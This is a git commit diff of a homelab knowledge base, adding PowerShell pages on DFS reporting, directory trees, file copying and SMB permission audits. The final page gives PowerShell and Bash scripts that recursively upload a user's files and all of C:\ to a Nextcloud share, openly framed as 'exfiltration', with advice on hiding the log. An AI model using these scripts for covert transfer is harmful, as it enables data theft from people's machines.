Restructured Documentation
Automatic Documentation Deployment / Sync Docs to https://kb.bunny-lab.io (push) Successful in 8s

This commit is contained in:
2026-09-05 14:08:43 -06:00
parent c4bd235eba
commit 289769a601
281 changed files with 5403 additions and 3563 deletions
@@ -0,0 +1,281 @@
---
tags:
- DFS
- Active Directory
- PowerShell
---
## Purpose
Report the DFS namespaces, folder targets, and replication configuration in the current Active Directory domain. Run the script in PowerShell with the DFSN and DFSR modules and permission to query the domain.
## Script
You may want to put together a simple table report of the DFS namespaces, replication info, and target folders. You can run the following powershell script to generate a nice table-based report of the current structure of the DFS namespaces in your domain.
??? example "Powershell Reporting Script"
```powershell
# Automatically detect current AD domain and use it as DFS prefix
try {
$Domain = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name
$DomainPrefix = "\\$Domain"
} catch {
Write-Warning "Unable to detect domain automatically. Falling back to manual value."
$DomainPrefix = "\\bunny-lab.io"
}
Import-Module DFSN -ErrorAction Stop
Import-Module DFSR -ErrorAction Stop
function Get-ServerNameFromPath {
param([string]$Path)
if ([string]::IsNullOrWhiteSpace($Path)) { return $null }
if ($Path -like "\\*") { return ($Path -split '\\')[2] }
return $null
}
function Get-Max3 {
param([int[]]$Values)
if (-not $Values) { return 0 }
return (($Values | Measure-Object -Maximum).Maximum)
}
# Build: GroupName (lower) -> memberships[]
$allGroups = Get-DfsReplicationGroup -ErrorAction SilentlyContinue
$groupMembershipMap = @{}
foreach ($g in $allGroups) {
$ms = Get-DfsrMembership -GroupName $g.GroupName -ErrorAction SilentlyContinue
$groupMembershipMap[$g.GroupName.ToLower()] = $ms
}
# Flatten all memberships for regex fallback
$allMemberships = @()
foreach ($arr in $groupMembershipMap.Values) { if ($arr) { $allMemberships += $arr } }
$rows = New-Object System.Collections.Generic.List[psobject]
# Enumerate namespace roots
$roots = Get-DfsnRoot -ErrorAction Stop | Where-Object { $_.Path -like "$DomainPrefix\*" }
Write-Host "DFS Namespace and Replication Overview" -ForegroundColor Cyan
Write-Host "------------------------------------------------------`n"
foreach ($root in $roots) {
$rootPath = $root.Path
$rootLeaf = ($rootPath -split '\\')[-1]
$nsServers = @()
$rootTargets = Get-DfsnRootTarget -Path $rootPath -ErrorAction SilentlyContinue
foreach ($rt in $rootTargets) {
$srv = Get-ServerNameFromPath $rt.TargetPath
if ($srv) { $nsServers += $srv }
}
# Folders under this root
$folders = Get-DfsnFolder -Path "$rootPath\*" -ErrorAction SilentlyContinue | Sort-Object Path
foreach ($f in $folders) {
$namespaceFull = $f.Path
$leaf = ($f.Path -split '\\')[-1]
# DFSN folder targets
$targets = Get-DfsnFolderTarget -Path $f.Path -ErrorAction SilentlyContinue
$targets = @($targets | Sort-Object { Get-ServerNameFromPath $_.TargetPath }) # ensure array
# Map to DFSR group by naming; fallback to regex on ContentPath
$candidateGroup = ((($rootPath -replace '^\\\\','') + '\' + $leaf).ToLower())
if ($groupMembershipMap.ContainsKey($candidateGroup)) {
$msForFolder = $groupMembershipMap[$candidateGroup]
} else {
$escapedRootLeaf = [regex]::Escape($rootLeaf)
$escapedLeaf = [regex]::Escape($leaf)
$regex = "\\$escapedRootLeaf\\$escapedLeaf($|\\)"
$msForFolder = $allMemberships | Where-Object { $_.ContentPath -imatch $regex }
}
$msForFolder = @($msForFolder) # normalize to array
# Build aligned rows: one per target
$targetLines = @()
$replLines = @()
foreach ($t in $targets) {
$tServer = Get-ServerNameFromPath $t.TargetPath
$targetLines += $t.TargetPath
$msForServer = $null
if ($msForFolder.Count -gt 0) {
$msForServer = $msForFolder | Where-Object { $_.ComputerName -ieq $tServer } | Select-Object -First 1
}
if ($msForServer -and $msForServer.ContentPath) { $replLines += $msForServer.ContentPath } else { $replLines += '' }
}
# Max line count for row expansion (PS 5.1 safe)
$maxLines = Get-Max3 @($targetLines.Count, $replLines.Count, $nsServers.Count)
for ($i = 0; $i -lt $maxLines; $i++) {
# Precompute values (PS 5.1: no inline-if in hashtables)
$nsVal = ''
if ($i -eq 0) { $nsVal = $namespaceFull }
$targetVal = ''
if ($i -lt $targetLines.Count) { $targetVal = $targetLines[$i] }
$replVal = ''
if ($i -lt $replLines.Count) { $replVal = $replLines[$i] }
$nsServerVal = ''
if ($i -lt $nsServers.Count) { $nsServerVal = $nsServers[$i] }
$row = [PSCustomObject]@{
'Namespace' = $nsVal
'Member Folder Target(s)' = $targetVal
'Replication Locations' = $replVal
'Namespace Servers' = $nsServerVal
}
$rows.Add($row) | Out-Null
}
}
}
# Render as a PowerShell bordered grid with one-space left/right padding in every cell
function Write-DfsGrid {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[System.Collections.IEnumerable]$Data,
[string[]]$Columns = @('Namespace','Member Folder Target(s)','Replication Locations','Namespace Servers'),
# Reasonable max widths; tune to your console (these are content+padding widths)
[int[]]$MaxWidths = @(70, 70, 52, 30),
[switch]$Ascii # use +-| instead of box-drawing if your console garbles Unicode
)
# Ensure arrays align
if ($MaxWidths.Count -lt $Columns.Count) {
$pad = New-Object System.Collections.Generic.List[int]
$pad.AddRange($MaxWidths)
for ($i=$MaxWidths.Count; $i -lt $Columns.Count; $i++) { $pad.Add(40) }
$MaxWidths = $pad.ToArray()
}
# Characters
if ($Ascii) {
$H = @{ tl='+'; tr='+'; bl='+'; br='+'; hz='-'; vt='|'; tj='+'; mj='+'; bj='+' }
} else {
# Box-drawing
$H = @{ tl='┌'; tr='┐'; bl='└'; br='┘'; hz='─'; vt='│'; tj='┬'; mj='┼'; bj='┴' }
try { [Console]::OutputEncoding = [Text.UTF8Encoding]::UTF8 } catch {}
}
function TruncPad([string]$s, [int]$w) {
if ($null -eq $s) { $s = '' }
$s = $s -replace '\r','' -replace '\t',' '
if ($s.Length -le $w) { return $s.PadRight($w, ' ') }
if ($w -le 1) { return $s.Substring(0, $w) }
return ($s.Substring(0, $w-1) + '…')
}
# Materialize and compute widths (include one-space left/right padding for header and data)
$rows = @($Data | ForEach-Object {
$o = @{}
foreach ($c in $Columns) { $o[$c] = [string]($_.$c) }
[pscustomobject]$o
})
$widths = @()
for ($i=0; $i -lt $Columns.Count; $i++) {
$col = $Columns[$i]
# Start with header length including padding
$max = (" " + $col + " ").Length
foreach ($r in $rows) {
$len = (" " + [string]$r.$col + " ").Length
if ($len -gt $max) { $max = $len }
}
$widths += [Math]::Min($max, $MaxWidths[$i])
}
# Line builders
function DrawTop() {
$line = $H.tl
for ($i = 0; $i -lt $widths.Count; $i++) {
$line += ($H.hz * $widths[$i])
if ($i -lt ($widths.Count - 1)) {
$line += $H.tj
} else {
$line += $H.tr
}
}
$line
}
function DrawMid([string[]]$Columns, [int[]]$widths, $H) {
$line = $H.vt
for ($i=0; $i -lt $widths.Count; $i++) {
$line += TruncPad (" " + $Columns[$i] + " ") $widths[$i]
$line += $H.vt
}
$line
}
function DrawSep() {
$line = $H.vt
for ($i=0; $i -lt $widths.Count; $i++) {
$line += ($H.hz * $widths[$i])
$line += $H.vt
}
$line
}
function DrawHeaderSep() {
$line = $H.vt
for ($i=0; $i -lt $widths.Count; $i++) {
$line += ($H.hz * $widths[$i])
$line += $H.vt
}
$line
}
function DrawBottom() {
$line = $H.bl
for ($i = 0; $i -lt $widths.Count; $i++) {
$line += ($H.hz * $widths[$i])
if ($i -lt ($widths.Count - 1)) {
$line += $H.bj
} else {
$line += $H.br
}
}
$line
}
function DrawRow($r, [string[]]$Columns, [int[]]$widths, $H) {
$line = $H.vt
for ($i=0; $i -lt $widths.Count; $i++) {
$val = [string]$r.($Columns[$i])
$line += TruncPad (" " + $val + " ") $widths[$i]
$line += $H.vt
}
$line
}
# Render with group separators between namespaces (when the Namespace cell is non-empty)
Write-Host (DrawTop)
Write-Host (DrawMid -Columns $Columns -widths $widths -H $H)
Write-Host (DrawHeaderSep)
$first = $true
foreach ($r in $rows) {
if (-not $first -and ([string]$r.$($Columns[0])) ) {
# Namespace changed → draw a separator
Write-Host (DrawSep)
}
$first = $false
Write-Host (DrawRow -r $r -Columns $Columns -widths $widths -H $H)
}
Write-Host (DrawBottom)
}
Write-DfsGrid -Data $rows
```
## Related Documentation
- [DFS Deployment](<../../../../deployments/Applications/Files and Collaboration/Windows Server/DFS Namespaces with Replication.md>) — Review the namespace and replication structure that this report inspects.
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,132 @@
---
tags:
- DFS
- Replication
- PowerShell
---
## Purpose
Report the directional replication backlog between the DFS member servers in the script. Set the member names to the intended deployment and run from a PowerShell session with access to its DFS replication configuration.
## Script
You may want to check that replication is occurring bi-directionally between every member server in your DFS deployment. I wrote a script below that effectively shows you every replication group and each directional backlog status.
```powershell
# --- CONFIG ---
$Members = @("LAB-FPS-01","LAB-FPS-02")
$SummarizeAcrossFolders = $true # $true = one line per direction per RG; $false = per-folder lines
function Invoke-DfsrBacklogStatus {
param(
[Parameter(Mandatory)] [string] $RG,
[Parameter(Mandatory)] [string] $RF,
[Parameter(Mandatory)] [string] $Send,
[Parameter(Mandatory)] [string] $Recv
)
$out = & dfsrdiag backlog /rgname:"$RG" /rfname:"$RF" /sendingmember:"$Send" /receivingmember:"$Recv" 2>&1 | Out-String
$outTrim = ($out -split "`r?`n" | ForEach-Object { $_.Trim() }) | Where-Object { $_ -ne "" }
if ($out -match 'No Backlog') {
return [pscustomobject]@{ Status="No Backlog"; Count=0; Detail=$null }
}
$count = $null
$countLine = $outTrim | Where-Object { $_ -match '(?i)backlog' } | Select-Object -First 1
if ($countLine -and ($countLine -match '(\d+)')) { $count = [int]$matches[1] }
$detail = ($outTrim | Select-Object -First 8) -join " | "
return [pscustomobject]@{
Status = if ($count -ne $null) { "Backlog: $count" } else { "Backlog/Check Output" }
Count = $count
Detail = $detail
}
}
$groups = Get-DfsReplicationGroup | Sort-Object GroupName
foreach ($g in $groups) {
$rg = $g.GroupName
$rfs = Get-DfsReplicatedFolder -GroupName $rg | Sort-Object FolderName
Write-Host ""
Write-Host ("== Replication Group: {0} ==" -f $rg)
foreach ($send in $Members) {
foreach ($recv in $Members) {
if ($send -eq $recv) { continue }
if ($SummarizeAcrossFolders) {
$worstCount = 0
$nonZero = @()
$errorsOrDetails = @()
foreach ($rfObj in $rfs) {
$rf = $rfObj.FolderName
$res = Invoke-DfsrBacklogStatus -RG $rg -RF $rf -Send $send -Recv $recv
if ($res.Status -ne "No Backlog") {
$nonZero += [pscustomobject]@{ RF=$rf; Status=$res.Status; Count=$res.Count; Detail=$res.Detail }
if ($res.Count -ne $null -and $res.Count -gt $worstCount) { $worstCount = $res.Count }
# ✅ FIX: ${rf} avoids the ':' parsing issue
if ($res.Detail) { $errorsOrDetails += "RF=${rf}: $($res.Detail)" }
}
}
if ($nonZero.Count -eq 0) {
Write-Host ("{0} -> {1}: No Backlog" -f $send, $recv)
} else {
if ($worstCount -gt 0) {
Write-Host ("{0} -> {1}: Backlog (max {2} across RFs)" -f $send, $recv, $worstCount)
} else {
Write-Host ("{0} -> {1}: Backlog/Errors (see details)" -f $send, $recv)
}
$errorsOrDetails | Select-Object -First 5 | ForEach-Object { Write-Host (" - {0}" -f $_) }
if ($errorsOrDetails.Count -gt 5) { Write-Host " - ... (more omitted)" }
}
}
else {
foreach ($rfObj in $rfs) {
$rf = $rfObj.FolderName
$res = Invoke-DfsrBacklogStatus -RG $rg -RF $rf -Send $send -Recv $recv
if ($res.Status -eq "No Backlog") {
Write-Host ("{0} -> {1} [{2}]: No Backlog" -f $send, $recv, $rf)
} else {
Write-Host ("{0} -> {1} [{2}]: {3}" -f $send, $recv, $rf, $res.Status)
if ($res.Detail) { Write-Host (" - {0}" -f $res.Detail) }
}
}
}
}
}
}
```
!!! example "Example Output"
You will see output like the following when you run the script.
```powershell
== Replication Group: bunny-lab.io\music\fl studio plugins ==
LAB-FPS-01 -> LAB-FPS-02: No Backlog
LAB-FPS-02 -> LAB-FPS-01: No Backlog
== Replication Group: bunny-lab.io\music\personal music ==
LAB-FPS-01 -> LAB-FPS-02: No Backlog
LAB-FPS-02 -> LAB-FPS-01: No Backlog
== Replication Group: bunny-lab.io\music\shared music ==
LAB-FPS-01 -> LAB-FPS-02: No Backlog
LAB-FPS-02 -> LAB-FPS-01: No Backlog
== Replication Group: bunny-lab.io\projects\coding ==
LAB-FPS-01 -> LAB-FPS-02: No Backlog
LAB-FPS-02 -> LAB-FPS-01: No Backlog
```
## Related Documentation
- [DFS Deployment](<../../../../deployments/Applications/Files and Collaboration/Windows Server/DFS Namespaces with Replication.md>) — Identify the replication members and folders.
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,57 @@
---
tags:
- PowerShell
- Scripting
---
## Purpose
Sometimes you just need a basic script that outputs a pretty directory and file tree. This script offers files and folders to ignore, and outputs a fancy directory tree.
```powershell
function Export-Tree {
param (
[string]$Path = ".",
[string]$OutFile = "directory_tree.txt"
)
$global:TreeLines = @()
$global:IgnoreList = @(
".git",
"Dependencies"
)
function Walk-Tree {
param (
[string]$Folder,
[string]$Prefix
)
$items = Get-ChildItem -Path $Folder -Force | Where-Object {
$_.Name -ne "." -and $_.Name -ne ".." -and
($global:IgnoreList -notcontains $_.Name)
} | Sort-Object PSIsContainer, Name
$count = $items.Count
for ($i = 0; $i -lt $count; $i++) {
$item = $items[$i]
$connector = if ($i -eq $count - 1) { "└── " } else { "├── " }
$global:TreeLines += "$Prefix$connector$($item.Name)"
if ($item.PSIsContainer) {
$newPrefix = if ($i -eq $count - 1) { "$Prefix " } else { "$Prefix│ " }
Walk-Tree -Folder $item.FullName -Prefix $newPrefix
}
}
}
Walk-Tree -Folder $Path -Prefix ""
$global:TreeLines | Set-Content -Path $OutFile -Encoding UTF8
}
# Run it
Export-Tree -Path "." -OutFile "directory_tree.txt"
```
## Related Documentation
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,47 @@
---
tags:
- PowerShell
- File Management
- Scripting
---
## Purpose
Locate specific files, and copy them with a renamed datestamp appended to a specific directory.
```powershell
# Define an array of objects, each having a prefix and a suffix
$files = @(
@{Prefix="name"; Suffix="Extension"},
@{Prefix="name"; Suffix="Extension"}
)
# Define the destination directory
$destination = "C:\folder\to\copy\to"
# Loop over the file name patterns
foreach ($file in $files) {
# Search for files that start with the current prefix and end with the current suffix
$matches = Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue -Filter "$($file.Prefix)*.$($file.Suffix)"
# Loop over the matching files
foreach ($match in $matches) {
# Get the file's last modified date
$lastModifiedDate = $match.LastWriteTime
# Get the file's owner
$owner = (Get-Acl -Path $match.FullName).Owner
# Output the file name, last modified date, and owner
Write-Output "File: $($match.FullName), Last Modified Date: $lastModifiedDate, Owner: $owner"
# Generate a unique name for the copied file by appending the last modified date and time
$newName = "{0}_{1:yyyyMMdd_HHmmss}{2}" -f $match.BaseName, $lastModifiedDate, $match.Extension
# Copy the file to the destination directory with the new name
Copy-Item -Path $match.FullName -Destination (Join-Path -Path $destination -ChildPath $newName)
}
}
```
## Related Documentation
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,32 @@
---
tags:
- SMB
- PowerShell
- Permissions
- Scripting
---
## Purpose
This script will iterate over all network shares hosted by the computer it is running on, and will give *recursive* permissions to all folders, subfolders, and files, including hidden ones. It is very I/O intensive given it iterates recursively on every file/folder being shared.
```powershell
$AllShares = Get-SMBShare | Where-Object {$_.Description -NotMatch "Default share|Remote Admin|Remote IPC|Printer Drivers"} | Select-Object -ExpandProperty Path
$Output = @()
ForEach ($SMBDirectory in $AllShares)
{
$FolderPath = Get-ChildItem -Directory -Path $SMBDirectory -Recurse -Force
ForEach ($Folder in $FolderPath) {
$Acl = Get-Acl -Path $Folder.FullName
ForEach ($Access in $Acl.Access)
{
$Properties = [ordered]@{'Folder Name'=$Folder.FullName;'Group/User'=$Access.IdentityReference;'Permissions'=$Access.FileSystemRights;'Inherited'=$Access.IsInherited}
$Output += New-Object -TypeName PSObject -Property $Properties
}
}
}
$Output | Export-CSV -Path C:\SMB_REPORT.csv -NoTypeInformation -Append
```
## Related Documentation
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,21 @@
---
tags:
- SMB
- PowerShell
- Permissions
- Scripting
---
## Purpose
This script will iterate over all network shares hosted by the computer it is running on, and will give *top-level* permissions to all the shared folders. It will not navigate deeper than the top-level in its report. Very I/O friendly.
```powershell
$AllShares = Get-SMBShare | Where-Object {$_.Description -NotMatch "Default share|Remote Admin|Remote IPC|Printer Drivers"} | Select-Object -ExpandProperty Name
ForEach ($SMBDirectory in $AllShares)
{
Get-SMBShareAccess -Name $SMBDirectory | Export-CSV -Path C:\SMB_REPORT.csv -NoTypeInformation -Append
}
```
## Related Documentation
- [Related Files and Collaboration Documentation](<../../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.
@@ -0,0 +1,160 @@
---
tags:
- Nextcloud
- PowerShell
- Scripting
---
## Purpose
In some unique cases, you want to be able to either perform backups of data or exfiltrate data to Nextcloud from a local device via the use of a script. Doing such a thing with Nextcloud as the destination is not very documented, but you can achieve that result by running a script like what is seen below:
## Windows
!!! abstract "Environment Variables"
You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.
| **Variable** | **Default Value** | **Description** |
| :--- | :--- | :--- |
| `NEXTCLOUD_SERVER_URL` | `https://cloud.bunny-lab.io` | This is the base URL of the Nextcloud server that data will be copied to. |
| `NEXTCLOUD_SHARE_PASSWORD` | `<Share Password>` | You need to create a share on Nextcloud, and configure it as a `File Drop`, then put a share password to protect it. Put that password here. |
| `NEXTCLOUD_SHARE` | `ABCDEFGHIJK` | The tail-end of a nextcloud share link, e.g. `https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>` |
| `IGNORE_LIST` | `AppData;AMD;Drivers;Radeon;Program Files;Program Files (x86);Windows;$SysReset;$WinREAgent;PerfLogs;ProgramData;Recovery;System Volume Information;hiberfile.sys;pagefile.sys;swapfile.sys` | This is a list of files/folders to ignore when iterating through directories. A sensible default is selected if you choose to copy everything from the root C:\ directory. |
| `PRIMARY_DIR` | `C:\Users\Example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
| `SECONDARY_DIR` | `C:\` | This is the secondary target, it's less important but nice-to-have with the upload / backup / exfiltration once the primary copy is completed. The target can be a directory or a single file. |
| `LOGFILE` | `C:\Windows\Temp\nc_pull.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
### Powershell Script
```powershell
# --------------------------
# Function for File Upload Logic
# --------------------------
Function Upload-Files ($targetDir) {
Get-ChildItem -Path $targetDir -Recurse -File -Force -ErrorAction SilentlyContinue | ForEach-Object {
try {
# --------------------------
# Check Ignore List
# --------------------------
$ignore = $false # Initialize variable to check if current folder should be ignored
foreach ($item in $IGNORE_LIST) {
if ($_.Directory -match [regex]::Escape($item)) {
$ignore = $true
break
}
}
if ($ignore) {
Write-Host "Ignoring file $($_.FullName) due to directory match in ignore list."
return
}
# --------------------------
# Upload File Process
# --------------------------
$filename = $_.Name # Extract just the filename
# Check if this file has been uploaded before by searching in the log file
if ((Get-Content $LOGFILE) -notcontains $_.FullName) {
Write-Host "Uploading $($_.FullName) ..."
# Upload the file
$response = Invoke-RestMethod -Uri ($URL + $filename) -Method Put -InFile $_.FullName -Headers @{'X-Requested-With' = 'XMLHttpRequest'} -Credential $credentials
# Record this file in the log since it was successfully uploaded
Add-Content -Path $LOGFILE -Value $_.FullName
} else {
Write-Host "Skipping previously uploaded file $($_.FullName)"
}
} catch {
Write-Host "Error encountered while processing $($_.FullName): $_.Exception.Message"
}
}
}
# --------------------------
# Initialize Environment Variables
# --------------------------
$securePassword = ConvertTo-SecureString $env:NEXTCLOUD_SHARE_PASSWORD -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential ($env:NEXTCLOUD_SHARE, $securePassword)
$PRIMARY_DIR = $env:PRIMARY_DIR
$SECONDARY_DIR = $env:SECONDARY_DIR
$URL = "$env:NEXTCLOUD_SERVER_URL/public.php/webdav/"
$IGNORE_LIST = $env:IGNORE_LIST -split ';' # Splitting the folder names into an array
# --------------------------
# Checking Log File
# --------------------------
if (-not (Test-Path $LOGFILE)) {
New-Item -Path $LOGFILE -ItemType "file"
}
# --------------------------
# Perform Uploads
# --------------------------
Write-Host "Uploading files from primary directory: $PRIMARY_DIR"
Upload-Files $PRIMARY_DIR
Write-Host "Uploading files from secondary directory: $SECONDARY_DIR"
Upload-Files $SECONDARY_DIR
```
## MacOS/Linux
!!! abstract "Environment Variables"
You will need to assign the following variables either within the script or externally via environment variables at the time the script is executed.
| **Variable** | **Default Value** | **Description** |
| :--- | :--- | :--- |
| `NEXTCLOUD_SERVER_URL` | `https://cloud.bunny-lab.io` | This is the base URL of the Nextcloud server that data will be copied to. |
| `NEXTCLOUD_SHARE_PASSWORD` | `<Share Password>` | You need to create a share on Nextcloud, and configure it as a `File Drop`, then put a share password to protect it. Put that password here. |
| `NEXTCLOUD_SHARE` | `ABCDEFGHIJK` | The tail-end of a nextcloud share link, e.g. `https://cloud.bunny-lab.io/s/<<ABCDEFGHIJK>>` |
| `DATA_TO_COPY` | `/home/bunny/example` | This directory target is the primary focus of the upload / backup / exfiltration. The script will iterate through this target first before it moves onto the secondary target. The target can be a directory or a single file. This will act as the main priority of the transfer. |
| `LOGFILE` | `/tmp/uploaded_files.log` | This file is how the script has "persistence". In case the computer is shut down, rebooted, etc, when it comes back online and the script is re-ran against it, it reads this file to pick up where it last was, and attempts to resume from that point. If this transfer is meant to be hidden, put this file somewhere someone is not likely to find it easily. |
### Bash Script
```sh
#!/bin/bash
# Directory to search
DIR=$DATA_TO_COPY
# URL for the upload
URL="$NEXTCLOUD_SERVER_URL/public.php/webdav/"
# Check if log file exists. If not, create one.
if [ ! -f "$LOGFILE" ]; then
touch "$LOGFILE"
fi
# Iterate over each file in the directory and its subdirectories
find "$DIR" -type f -print0 | while IFS= read -r -d '' file; do
# Extract just the filename
filename=$(basename "$file")
# Check if this file has been uploaded before
if ! grep -q "$file" "$LOGFILE"; then
echo "Uploading $file ..."
# Upload the file
response=$(curl -k -s -T "$file" -u "$NEXTCLOUD_SHARE:$NEXTCLOUD_SHARE_PASSWORD" -H 'X-Requested-With: XMLHttpRequest' "$URL$filename")
# Get the HTTP status code
status_code=$(curl -s -o /dev/null -w ''%{http_code}'' "$URL$filename")
# # Print the HTTP status code
# echo "HTTP status code: $status_code"
# # Check the HTTP status code
# if [[ "$status_code" = "200" ]]; then
# # If upload was successful, record this file in the log
echo "$file" >> "$LOGFILE"
# else
# echo "Failed to upload $file"
# fi
else
echo "Skipping previously uploaded file $file"
fi
done
```
## Related Documentation
- [Related Files and Collaboration Documentation](<../../../reference/Applications/Files and Collaboration/index.md>) — Find the connected deployments, procedures, and references for this subject.